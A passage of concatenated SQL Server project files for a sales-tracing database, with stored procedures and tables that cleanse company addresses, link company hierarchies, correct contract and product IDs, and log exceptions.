GROUP BY I.MFP_FLAG, I.UPD_ADDR1, I.UPD_ADDR2, I.DHC_CO_ZIP
) I1 ON C.DHC_CO_ID = I1.DHC_CO_ID
LEFT JOIN CMPNY.COMPANY_TYPE T ON T.CMPNY_TYP_NM = 'EU'
LEFT JOIN CMPNY.COMPANY_SEGMENT S ON C.DHC_CO_CAT_CD = S.CMPNY_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_SUB_SEGMENT SS ON S.CMPNY_SGMNT_ID = SS.CMPNY_SGMNT_ID AND C.DHC_CO_SUB_CAT = SS.CMPNY_SUB_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_DATA_SOURCE DS ON DS.CMPNY_SRCE_NM = 'DHC'
WHERE C.UNIQ_FLAG =12;
-- Load address parts for matching process
/*
TRUNCATE TABLE STAGE.CMPNY_ADDR_PARTS;
INSERT INTO STAGE.CMPNY_ADDR_PARTS
( CMPNY_COMPANY_ID, SRC_DATA_ID, ST_NR_1, ST_NM_1, ST_TYP_1, DIRECTION, ADRR2_TYP, ADRR2_NR, ADRR3_TYP, ADRR3_NR, CITY, STATE, ZIP)
SELECT
C.CMPNY_ID, T.SRCE_DATA_ID, T.ST_NR_1, T.ST_NM_1, T.ST_TYP_1, T.DIRECTION, T.ADRR2_TYP, T.ADRR2_NR, T.ADRR3_TYP, T.ADRR3_NR, T.CITY, T.STATE, T.ZIP
FROM CMPNY.COMPANY C
JOIN STAGE.TEMP_ADDR_LAUNDRY T ON C.SRC_CMPNY_ID = T.SRCE_DATA_ID;
*/
--UPDATE CMPNY.COMPANY SET CMPNY_PRNT_ID = NULL
UPDATE C SET
CMPNY_PRNT_ID = CP.CMPNY_ID
FROM CMPNY.COMPANY C
JOIN STAGE.DHC_COMPANY D ON C.SRC_CMPNY_ID = D.DHC_CO_ID
JOIN CMPNY.COMPANY CP ON D.HSPTL_PARENT_ID = CP.SRC_CMPNY_ID
WHERE (D.HSPTL_PARENT_ID IS NOT NULL AND D.HSPTL_PARENT_ID>0);
UPDATE C SET
C.IDN_CMPNY_ID = CI.CMPNY_ID
FROM CMPNY.COMPANY C
JOIN STAGE.DHC_COMPANY D ON C.SRC_CMPNY_ID = D.DHC_CO_ID
JOIN CMPNY.COMPANY CI ON D.DHC_NTWRK_ID = CI.SRC_CMPNY_ID
WHERE (D.DHC_NTWRK_ID IS NOT NULL AND D.DHC_NTWRK_ID >0);
UPDATE C SET
C.IDN_PRNT_CMPNY_ID = CI.CMPNY_ID
FROM CMPNY.COMPANY C
JOIN STAGE.DHC_COMPANY D ON C.SRC_CMPNY_ID = D.DHC_CO_ID
JOIN CMPNY.COMPANY CI ON D.DHC_NTWRK_PARENT_ID = CI.SRC_CMPNY_ID
WHERE (D.DHC_NTWRK_PARENT_ID IS NOT NULL AND D.DHC_NTWRK_PARENT_ID >0);
END<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_EXC_CORR_by_grp.sql
CREATE PROCEDURE [TRC].[spTRC_GET_EXC_CORR_by_grp] @vCNT_ID VARCHAR(30) = NULL,
@vPROD_ID VARCHAR(15) = NULL
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT
CN.GROUP_NAME,
CN.CONTRACT_NO,
C.ITEMID,
CONVERT(char(10), C.[Exp Date],126) AS EXP_DT,
'Description' AS CNT_DES,
CN.TIER_LEVEL
FROM PDI_SALESTRACING_DEV.STAGE.CONT_PRICE C,
[PDI_SALESTRACING_DEV].[STAGE].[DIM_CONTRACT] CO,
[PDI_SALESTRACING_DEV].[STAGE].[DIM_CONTRACT] CN
WHERE(CO.CONTRACT_NO = @vCNT_ID
AND CO.CURRENT_INDICATOR = 'Y')
AND (CN.GROUP_NAME = CO.GROUP_NAME
AND CN.CURRENT_INDICATOR = 'Y')
AND C.[Contract ID] = CN.CONTRACT_NO
AND C.ITEMID = @vPROD_ID
and CN.CONTRACT_NO != @vCNT_ID
--AND C.[Exp Date] > '2018-09-01' -- Hard coded - should be earliest inv date @INVDATE from last page
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_GRP_SPR.sql
CREATE TABLE [STAGE].[TEMP_GRP_SPR] (
[GRP_NM] VARCHAR (100) NULL,
[ADDR_1] VARCHAR (250) NULL,
[CITY] VARCHAR (100) NULL,
[STATE] VARCHAR (20) NULL,
[ZIP] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/COMPANY_DATA_SOURCE.sql
CREATE TABLE [CMPNY].[COMPANY_DATA_SOURCE] (
[CMPNY_SRCE_ID] SMALLINT IDENTITY (1, 1) NOT NULL,
[CMPNY_SRCE_NM] VARCHAR (50) NOT NULL,
[CMPNY_SRCE_DESC] VARCHAR (255) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONTRAXX_ITM_TEST.sql
CREATE TABLE [STAGE].[CONTRAXX_ITM_TEST] (
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[ITM_EFF_DT_NR] INT NULL,
[ITM_EXP_DT_NR] INT NULL,
[CNT_PRC] DECIMAL (18, 2) NULL,
[UOM] VARCHAR (10) NULL,
[LAST_MOD_DT_NR] BIGINT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) CONSTRAINT [DF_STAGE_CONTRAXX_ITM_TEST_1] DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/REPORT.sql
CREATE SCHEMA [REPORT]
AUTHORIZATION [NICEPAK\Krunal.Trivedi];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/COMPANY.sql
CREATE TABLE [STAGE].[COMPANY] (
[COMPANY_ID] INT IDENTITY (7000001, 1) NOT NULL,
[DHC_ID] INT NULL,
[COMPANY_NM] VARCHAR (255) NULL,
[COMPANY_ALT_NM] VARCHAR (255) NULL,
[ALT_NM_TYP] VARCHAR (20) NULL,
[ADDR_1] VARCHAR (255) NULL,
[ADDR_2] VARCHAR (255) NULL,
[CITY] VARCHAR (255) NULL,
[ST] CHAR (2) NULL,
[ZIP] VARCHAR (10) NOT NULL,
[CNTRY] CHAR (3) NULL,
[COMPANY_CAT_CD] VARCHAR (10) NULL,
[COMPANY_SUB_CAT_CD] VARCHAR (255) NULL,
[NTWRK_ID] INT NOT NULL,
[NTWRK_PARENT_ID] INT NOT NULL,
[COMPANY_URL] VARCHAR (255) NULL,
[NPI_NR] VARCHAR (50) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[DHC_STAT] VARCHAR (40) NULL,
[ISSUE_FLG] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/CMPNY_SALES.sql
CREATE TABLE [CMPNY].[CMPNY_SALES] (
[CMPNY_ID] INT NOT NULL,
[Sani Surface] NUMERIC (38, 2) NULL,
[Prevantics] NUMERIC (38, 2) NULL,
[Specialty] NUMERIC (38, 2) NULL,
[Sani Hands] NUMERIC (38, 2) NULL,
[Iodine] NUMERIC (38, 2) NULL,
[Baby Wipes] NUMERIC (38, 2) NULL,
[Hygea] NUMERIC (38, 2) NULL,
[Adult Wipes] NUMERIC (38, 2) NULL,
[Compliance Accessories] NUMERIC (38, 2) NULL,
[Profend] NUMERIC (38, 2) NULL,
[All Other] NUMERIC (38, 2) NULL,
[TOTAL SALES PRIOR YEAR] NUMERIC (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spCORTHALL_LAUNDRY.sql
CREATE PROCEDURE [STAGE].[spCORTHALL_LAUNDRY]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
--------------- CLEANSE NAME -----------------------------------
UPDATE STAGE.CROTHALL_COMPANY
SET ORIG_CMPNY_NM = CMPNY_NM;
UPDATE STAGE.CROTHALL_COMPANY
SET CROTHALL_CMPNY_ID = convert(int,STAGE.fnFirstWord( CMPNY_NM)),
CMPNY_NM = LTRIM(STAGE.fnSecondPart(CMPNY_NM, LEN(STAGE.fnFirstWord( CMPNY_NM))+1 ))
WHERE ISNUMERIC(STAGE.fnFirstWord( CMPNY_NM)) = 1;
UPDATE STAGE.CROTHALL_COMPANY
SET
CMPNY_NM = LEFT(CMPNY_NM,CHARINDEX('{',CMPNY_NM)-2),
ADDR_2 = SUBSTRING(CMPNY_NM,CHARINDEX('{', CMPNY_NM),LEN(CMPNY_NM)-CHARINDEX('{', CMPNY_NM)+1)
WHERE CHARINDEX('{',CMPNY_NM)>0;
UPDATE STAGE.CROTHALL_COMPANY
SET
CMPNY_NM = LEFT(CMPNY_NM,CHARINDEX('(',CMPNY_NM)-2),
ADDR_2 = SUBSTRING(CMPNY_NM,CHARINDEX('(', CMPNY_NM),LEN(CMPNY_NM)-CHARINDEX('(', CMPNY_NM)+1)
WHERE CHARINDEX('(',CMPNY_NM)>0;
UPDATE STAGE.CROTHALL_COMPANY
SET
CMPNY_NM = LTRIM(RTRIM(LEFT(CMPNY_NM, LEN(CMPNY_NM)-LEN('- CLOSING')))),
ADDR_2 = 'CLOSING'
WHERE CHARINDEX('- CLOSING',CMPNY_NM)>0;
UPDATE STAGE.CROTHALL_COMPANY
SET
CMPNY_NM = LTRIM(RTRIM(LEFT(CMPNY_NM, LEN(CMPNY_NM)-LEN('-CLOSING')))),
ADDR_2 = 'CLOSING'
WHERE CHARINDEX('-CLOSING',CMPNY_NM)>0;
UPDATE STAGE.CROTHALL_COMPANY
SET CMPNY_NM = STAGE.fnGet_FirstPart ( CMPNY_NM, CHARINDEX('CLOSING', CMPNY_NM) -2)
WHERE CHARINDEX('CLOSING', CMPNY_NM)>0;
UPDATE STAGE.CROTHALL_COMPANY
SET CMPNY_NM = LTRIM(RTRIM(STAGE.fnRemoveSpace(REPLACE(CMPNY_NM,'-',''))));
UPDATE STAGE.CROTHALL_COMPANY
SET CROTHALL_CMPNY_ID = 'CROTHALL'
WHERE ADDR_2 LIKE '%CROTHALL%'
AND CROTHALL_CMPNY_ID IS NULL;
UPDATE STAGE.CROTHALL_COMPANY
SET ADDR_2 = NULL;
-------------------- CLEANSE ADDRESS -----------------------------------------------------------
TRUNCATE TABLE STAGE.TEMP_ADDR_LAUNDRY;
INSERT INTO STAGE.TEMP_ADDR_LAUNDRY( SRCE_DATA_ID, ORIG_NM, ADDR1, ADDR2, CITY, STATE, ZIP )
SELECT PDI_CROTHALL_CMPNY_ID, CMPNY_NM, ADDR_1, ADDR_2, CITY, ST, ZIP
FROM STAGE.CROTHALL_COMPANY;
EXEC [STAGE].[spADDR_LAUNDRY_V2] ;
UPDATE T
SET T.UPD_ADDR1 = UPPER(S.UPD_ADDR1),
T.UPD_ADDR2 = UPPER(S.UPD_ADDR2),
T.UPD_CITY = UPPER(S.CITY)
FROM STAGE.CROTHALL_COMPANY T
JOIN STAGE.TEMP_ADDR_LAUNDRY S ON T.PDI_CROTHALL_CMPNY_ID = S.SRCE_DATA_ID;
-------------------------------------------------------------------------------------
UPDATE CR
SET CR.CMPNY_ID = CM.CMPNY_ID
FROM STAGE.CROTHALL_COMPANY CR
JOIN CMPNY.COMPANY CM ON CR.UPD_ADDR1 = CM.CMPNY_ADDR_1 AND CR.ZIP = CM.CMPNY_ZIP
WHERE CM.CMPNY_ADDR_2 IS NULL
UPDATE CR
SET CR.CMPNY_ID = CM.CMPNY_ID
FROM STAGE.CROTHALL_COMPANY CR
JOIN CMPNY.COMPANY CM ON CR.UPD_ADDR1 = CM.CMPNY_ADDR_1 AND CR.UPD_ADDR2 = CM.CMPNY_ADDR_2 AND CR.ZIP = CM.CMPNY_ZIP
WHERE CM.CMPNY_ADDR_2 IS NOT NULL AND CR.UPD_ADDR2 IS NOT NULL
AND CR.CMPNY_ID IS NULL
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CROTHALL_SAF.sql
CREATE TABLE [STAGE].[CROTHALL_SAF] (
[YR_MN] VARCHAR (6) NULL,
[ENDUSER_ID] VARCHAR (150) NOT NULL,
[ENDUSER_NAME] VARCHAR (150) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[ADDR1] VARCHAR (250) NULL,
[ADDR2] VARCHAR (250) NULL,
[CITY] VARCHAR (50) NULL,
[ST] VARCHAR (2) NULL,
[ZIP] VARCHAR (10) NULL,
[CNT_NR] VARCHAR (30) NULL,
[PROD_ID] VARCHAR (30) NULL,
[PROD_CATEGORY_SALES] VARCHAR (100) NOT NULL,
[PROD_DESC_ERP] VARCHAR (255) NOT NULL,
[SLS_2018] NUMERIC (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Stored Procedures/INSERT_CONT_PRODID.sql
-- =============================================
-- Author:<NAME>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [CONT].[INSERT_CONT_PRODID]
(@CNT_NR [varchar](20),
@PROD_EFF_DT date,
@PROD_EXP_DT date,
@prod_prc decimal(18, 2),
@prod_ID varchar(20),
@rationale varchar(500)
)
AS
BEGIN
insert into [CONT].[CNT_PROD](
[PROD_ID],
[PROD_EFF_DT],
[PROD_EXP_DT],
PROD_EFF_DT_NR,
PROD_EXP_DT_NR,
[PROD_PRC],
[PROD_STAT_CD],
[CNT_NR],
REC_EFF_DT, REC_EXP_DT, REC_STAT_CD, PROD_UOM
)
select
@prod_ID,
@PROD_EFF_DT,
@PROD_EXP_DT,
YEAR(@PROD_EFF_DT)*10000+MONTH(@PROD_EFF_DT)*100+DAY(@PROD_EFF_DT) AS PROD_EFF_DT_NR,
YEAR(@PROD_EXP_DT)*10000+MONTH(@PROD_EXP_DT)*100+DAY(@PROD_EXP_DT) AS PROD_EXP_DT_NR,
@prod_prc,
'P',
@CNT_NR,
convert(DATE,GETDATE()) AS REC_EFF_DT,
convert(DATE,'9999-12-31') AS PROD_EXP_DT_NR,
'A','CS'
exec [CNT].[spSAVE_PROD_RATIONALE] @CNT_NR, @prod_ID, @rationale
END<file_sep>/PDI_SALESTRACING_DEV/EUM/Tables/DIST_DDS_XREF.sql
CREATE TABLE [EUM].[DIST_DDS_XREF] (
[DISTCOID] VARCHAR (20) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spTRC_VLDTN_CONTID_CORR_EDI.sql
CREATE PROCEDURE [STAGE].[spTRC_VLDTN_CONTID_CORR_EDI] @vSalesPeriod VARCHAR(10)
WITH EXEC AS CALLER
AS
BEGIN
-- RESET UPDATED CONTRACT ID
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [Updated Contract ID] = NULL
WHERE [Updated Contract ID] IS NOT NULL
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [Updated Contract ID] = [TRC Contract ID]
WHERE [SALES PERIOD] = @vSalesPeriod
AND LEN([TRC Contract ID]) > 0;
-- RESET REBATE CONTRACT ID
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [RBT Contract ID] = NULL
WHERE [RBT Contract ID] IS NOT NULL
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [RBT Contract ID] = [TRC Contract ID]
WHERE [SALES PERIOD] = @vSalesPeriod
AND LEN([TRC Contract ID]) > 0;
--- RESET UPDATED PROD ID
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [Updated Prod ID] = NULL
WHERE [Updated Prod ID] IS NOT NULL
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [Updated Prod ID] = [TRC Prod ID]
WHERE [SALES PERIOD] = @vSalesPeriod;
--- PRODUCT ID ISSUE,
--- This should be part of my correction table
--- if product ID has issue, we need to create an exception report right here
--- Current Exception Table will be populated only if it is not there in history table
INSERT INTO [PDI_SALESTRACING_TEST].[STAGE].[TRC_EXCEPTION_SUMMARY_CURR]
([EXCEPTION TYPE], [EXCEPTION VALUE], [DISTRIBUTOR], [INV Year-Month], [TRC Contract ID], [INVOICE COUNT])
SELECT DISTINCT
'Invalid product ID' AS [EXCEPTION TYPE], S.[TRC Prod ID] AS [EXCEPTION VALUE], S.DISTID,
LEFT(S.[nInvoice Date], 6) AS [INV Year-Month],
S.[TRC Contract ID], COUNT(DISTINCT S.[Invoice ID]) as [INVOICE COUNT]
FROM [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN] S
LEFT JOIN [PDI_SALESTRACING_TEST].[STAGE].LIST_PRICE L ON S.[TRC Prod ID] = L.[ITEM NO]
WHERE L.[ITEM NO] IS NULL
AND S.[TRC Prod ID] NOT IN
(SELECT DISTINCT [TRC Prod ID] FROM [PDI_SALESTRACING_TEST].[STAGE].[TRC_EXCEPTION_SUMMARY_HIST])
AND S.[SALES PERIOD] = @vSalesPeriod
GROUP BY S.[TRC Prod ID], S.DISTID, LEFT(S.[nInvoice Date], 6), S.[TRC Contract ID];
-- History Exception Table
TRUNCATE TABLE [PDI_SALESTRACING_TEST].[STAGE].[TRC_EXCEPTION_SUMMARY_HIST]
-- Should be a merge statement
INSERT INTO [PDI_SALESTRACING_TEST].[STAGE].[TRC_EXCEPTION_SUMMARY_HIST]
([EXCEPTION TYPE], [EXCEPTION VALUE], [DISTRIBUTOR], [INV Year-Month], [TRC Contract ID], [INVOICE COUNT])
SELECT DISTINCT
'Invalid product ID' AS [EXCEPTION TYPE], S.[TRC Prod ID] AS [EXCEPTION VALUE], S.DISTID,
LEFT(S.[nInvoice Date], 6) AS [INV Year-Month],
S.[TRC Contract ID], COUNT(DISTINCT S.[Invoice ID]) as [INVOICE COUNT]
FROM [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN] S
LEFT JOIN [PDI_SALESTRACING_TEST].[STAGE].LIST_PRICE L ON S.[TRC Prod ID] = L.[ITEM NO]
WHERE L.[ITEM NO] IS NULL
AND S.[SALES PERIOD] = @vSalesPeriod
GROUP BY S.[TRC Prod ID], S.DISTID, LEFT(S.[nInvoice Date], 6), S.[TRC Contract ID]
ORDER BY 6 DESC;
--- Correction of known prod ID issues
--- THIS SHOULD BE FROM A CORRECTION TABLE which should be populated from analyst input AND NOT HARDCODED
UPDATE [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
SET [Updated Prod ID] = RIGHT([TRC Prod ID],6)
WHERE [TRC Prod ID] IN
('4725B10800','4725B40600','4725D41900','4725J14143','4725P03672','4725S42450','PDI D35185','PDI D43600')
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
SET [Updated Prod ID] = RTRIM(LTRIM(RIGHT([TRC Prod ID],LEN([TRC Prod ID])-LEN('PROMO'))))
WHERE [TRC Prod ID] LIKE 'PROMO%';
/*
UPDATE [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
SET [TRC Prod ID] = 'Q387S40'
WHERE [TRC Prod ID] = 'Q387S40NY';
-- Following is to take care of OWENS using wrong prdouct + contract combo -- needs further validation --
UPDATE [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
SET [TRC Prod ID] = 'Q387S40'
WHERE [TRC Prod ID] = 'Q387S40NY'
AND [TRC Contract ID] IN ('CNT1624','CNT1625') ; */
UPDATE [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
SET [Updated Prod ID] = 'J14143'
WHERE [TRC Prod ID] = '44631300';
-- CORRECTION TABLE
-- FROM CORRECTION TABLE
UPDATE S
SET S.[Updated Contract ID] = C.[TO VALUE]
FROM [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN S
JOIN [PDI_SALESTRACING_TEST].STAGE.CORRECTION_XREF_SHRT C
ON C.[DIST NO] = S.[DIST NO] AND C.ITEMID = S.[TRC Prod ID]
AND C.[FROM VALUE] = S.[Updated Contract ID]
WHERE C.[COR TYPE] = 'CONT'
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE S
SET S.[RBT Contract ID] = C.[TO VALUE]
FROM [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN S
JOIN [PDI_SALESTRACING_TEST].STAGE.CORRECTION_XREF_SHRT C
ON C.[DIST NO] = S.[DIST NO] AND C.ITEMID = S.[TRC Prod ID]
AND C.[FROM VALUE] = S.[RBT Contract ID]
WHERE C.[COR TYPE] = 'TCNT'
AND [SALES PERIOD] = @vSalesPeriod;
-- VALUE CENTRIC OVER RIDE TABLE
UPDATE S
SET S.[Updated Contract ID] = C.[OVRD_CONT]
FROM [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN S
JOIN [PDI_SALESTRACING_TEST].[STAGE].CONT_OVERRIDE C
ON C.[DIST_CONT] = S.[TRC Contract ID]
AND C.[ITEM] = S.[TRC Prod ID]
WHERE S.[TRC Price Type] = 'CONT'
AND S.[Updated Contract ID] = S.[TRC Contract ID] -- meaning thease are rows not changed it by previoud update stmt
AND [SALES PERIOD] = @vSalesPeriod;
/*
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [TRC Contract ID] = 'CNT2616'
WHERE [TRC Prod ID] = 'P13472' AND [TRC Contract ID] = 'CNT2464';
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [TRC Contract ID] = 'CNT2364'
WHERE [TRC Prod ID] = 'P54072' AND [TRC Contract ID] = 'CNT2605'; */
END
<file_sep>/PDI_SALESTRACING_DEV/CNT/Tables/PROD_RATIONALE.sql
CREATE TABLE [CNT].[PROD_RATIONALE] (
[PROD_RATIONALE_ID] INT IDENTITY (1, 1) NOT NULL,
[CNT_NR] VARCHAR (7) NULL,
[PROD_ID] VARCHAR (7) NULL,
[RATIONALE] VARCHAR (500) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_CD] CHAR (1) NULL,
PRIMARY KEY CLUSTERED ([PROD_RATIONALE_ID] ASC)
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/ContractsImport.sql
CREATE TABLE [FTPOUT].[ContractsImport] (
[CONTID] VARCHAR (50) NOT NULL,
[CONTDESCRIPTION] VARCHAR (255) NOT NULL,
[CONTEFFDATE] DATE NOT NULL,
[CONTEXPDATE] DATE NOT NULL,
[GROUPCONTID] VARCHAR (50) NULL,
[GROUPADMINFEE] DECIMAL (4) NULL,
[TIERLEVEL] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spDELETE_EB.sql
CREATE PROCEDURE CNT.spDELETE_EB --'CNT6030'
@cntNr varchar(7),
@companyId int
AS
BEGIN
SET NOCOUNT ON;
DELETE FROM cnt_DEV.CNT_EB WHERE CNT_NR = @cntNr AND CMPNY_ID =@companyId
END
<file_sep>/PDI_SALESTRACING_DEV/dbo/Functions/TryConvertDate.sql
CREATE FUNCTION dbo.TryConvertDate
(
@value varchar(max)
)
RETURNS date
AS
BEGIN
RETURN (SELECT CONVERT(date, CASE
WHEN ISDATE(@value) = 1 THEN @value END)
);
END
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/TEMP_NEW_CNT.sql
CREATE TABLE [SNDBX].[TEMP_NEW_CNT] (
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_CD] VARCHAR (1) NOT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_EFF_DT] DATE NULL,
[CNT_EXP_DT] DATE NULL,
[CNT_EFF_DT_NR] INT NULL,
[CNT_EXP_DT_NR] INT NULL,
[CNT_TYP_CD] VARCHAR (20) NULL,
[CNT_APPRV_DT] DATE NULL,
[CNT_STAT_CD] VARCHAR (1) NOT NULL,
[BUYE_GRP_NM] VARCHAR (100) NULL,
[BUYER_GRP_CNT_NR] VARCHAR (40) NOT NULL,
[CNT_TIER_LVL] VARCHAR (20) NOT NULL,
[CNT_DESC] VARCHAR (MAX) NULL,
[CNT_UPD_TYP] VARCHAR (16) NOT NULL,
[RPLCD_CNT_NR] VARCHAR (20) NULL,
[SRC_REC_LST_MOD_DT] BIGINT NULL,
[CURRENT TIMESTAMP] DATETIME NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CROTHALL_COMPANY.sql
CREATE TABLE [STAGE].[CROTHALL_COMPANY] (
[CROTHALL_CMPNY_ID] VARCHAR (20) NULL,
[CMPNY_NM] VARCHAR (255) NULL,
[ADDR_1] VARCHAR (255) NULL,
[ADDR_2] VARCHAR (255) NULL,
[CITY] VARCHAR (255) NULL,
[ST] CHAR (2) NULL,
[ZIP] VARCHAR (10) NOT NULL,
[ORIG_CMPNY_NM] VARCHAR (100) NULL,
[PDI_CROTHALL_CMPNY_ID] INT IDENTITY (1, 1) NOT NULL,
[UPD_ADDR1] VARCHAR (255) NULL,
[UPD_ADDR2] VARCHAR (255) NULL,
[UPD_CITY] VARCHAR (100) NULL,
[CMPNY_ID] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spUPDATE_CONT_EXCPTN.sql
-- =============================================
-- Author: <NAME>
-- This is the full update abter submission button
-- need session id of the user to be paased
-- =============================================
CREATE PROCEDURE [TRC].[spUPDATE_CONT_EXCPTN]
(@CNT_NR [varchar](40),
@prod_ID [varchar](20),
@UserID [varchar](40)
)
as
BEGIN
update [STAGE].[TRC_CNT_CORR_XREF]
SET RECON_STAT_CD = 'C', RECON_DT = convert(date, getdate()), RECON_BY = @UserID
WHERE TRC_CNT_ID =@CNT_NR AND PROD_ID =@prod_ID and RECON_STAT_CD = 'P';
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_DHC_AFFLT_DATA.sql
CREATE PROCEDURE [STAGE].[spLOAD_DHC_AFFLT_DATA]
WITH EXEC AS CALLER
AS
BEGIN
/*
INSERT INTO STAGE.DHC_COMPANY_AFFLT
( DHC_CO_ID, DHC_CO_NM_1, DHC_CO_ADDR_1, DHC_CO_ADDR_2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CO_CAT_CD, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, NPI_NR, ADDR_IN, [CURRENT TIMESTAMP] )
select DISTINCT
A.AFFILIATED_ACCOUNT_ID, A.AFFILIATED_ACCOUNT_NAME, A.AFFILIATED_ACCOUNT_ADDRESS, A.AFFILIATED_ACCOUNT_ADDRESS1, A.AFFILIATED_ACCOUNT_CITY, A.AFFILIATED_ACCOUNT_STATE, A.AFFILIATED_ACCOUNT_ZIP_CODE,
RTRIM(LEFT(AFFILIATED_ACCOUNT_FIRM_TYPE,50)) DHC_CO_CAT , A.AFFILIATED_ACCOUNT_NETWORK_ID, CONVERT(INT,A.AFFILIATED_ACCOUNT_NETWORK_PARENT_ID) NETWORK_PARENT_ID,
CONVERT(VARCHAR(50),A.AFFILIATED_ACCOUNT_NPI) NPI_NR, 'Y', CURRENT_TIMESTAMP
from STAGE.PDI_ASC_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
*/
-- There will be two step process
-- First pick the entities which are not already in DHC_CMPNY table
-- Then merge it in to affiliate table to avoid duplication
----------------------------------------------------
---- PDI_Hospital_Facility_Affiliations
----------------------------------------------------
TRUNCATE TABLE [STAGE].TEMP_DHC_CO_ID;
INSERT INTO [STAGE].TEMP_DHC_CO_ID
select DISTINCT A.AFFILIATED_ACCOUNT_ID
from STAGE.PDI_Hospital_Facility_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
-- ADD all affliations to relation table -
MERGE STAGE.DHC_COMPANY_AFFLT T
USING (
SELECT DISTINCT
A.AFFILIATED_ACCOUNT_ID AS DHC_CO_ID, A.AFFILIATED_ACCOUNT_NAME AS DHC_CO_NM, A.AFFILIATED_ACCOUNT_HQ_CITY DHC_CO_CITY,
A.AFFILIATED_ACCOUNT_HQ_STATE AS DHC_CO_ST, A.AFFILIATED_ACCOUNT_FIRM_TYPE AS DHC_CO_CAT_CD,
'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM [STAGE].PDI_Hospital_Facility_Affiliations A
JOIN [STAGE].TEMP_DHC_CO_ID TD ON A.AFFILIATED_ACCOUNT_ID = TD.DHC_CO_ID -- to limit only the new ones
) S ON T.DHC_CO_ID = S.DHC_CO_ID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DHC_CO_ID, DHC_CO_NM_1, ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] )
VALUES
(DHC_CO_ID, DHC_CO_NM, DHC_CO_CITY, DHC_CO_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] );
----------------------------------------------------
---- PDI_LTC_LTC_Facility_Affiliations
----------------------------------------------------
TRUNCATE TABLE [STAGE].TEMP_DHC_CO_ID;
